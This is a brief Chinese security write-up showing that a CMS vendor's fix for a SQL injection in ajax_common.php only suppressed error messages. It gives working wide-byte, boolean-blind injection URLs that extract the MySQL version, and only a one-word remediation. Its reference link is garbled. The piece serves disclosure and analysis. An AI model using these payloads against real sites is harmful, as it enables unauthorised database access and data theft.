这个漏洞,我们看看骑士怎么修复的
http://wwwcto2uploudpic/Article/201412/359995.html
首先试试带入单引号,用宽字节试试,可以看到显示数据库出错
看看数据库怎么带入的吧
可以看到出错了,单引号被带入sql语句了
居然还可以注入,没有过滤
找到/include/mysql.class.php中最下面
function dbshow($err)
{
if($err){
$info = "Error:".$err;
}else{
$info = "Errno:".$this->errno()." Error:".$this->error();
}
//exit($info);
exit("数据库错误,请联系网站管理员!");
}
只是把显错换成了数据库错误,请联系网站管理员!
这种修复方式我也是醉了,虽然是改了显错,但是我们的语句还是可以执行的,可以用盲注
http://127.0.0.1/upload1/plus/ajax_common.php?act=hotword&query=%88%ec%27%20||%20left(version(),1)%20between%200%20and%2050--%20a
这样猜解数据库版本第一位是0到5之间,返回内容
http://127.0.0.1/upload1/plus/ajax_common.php?act=hotword&query=%88%ec%27%20||%20left(version(),1)%20between%200%20and%2040--%20a
这样猜解数据库版本第一位是0到4之间,返回空白
因为mysql是5.0以上的版本
解决方案:
过滤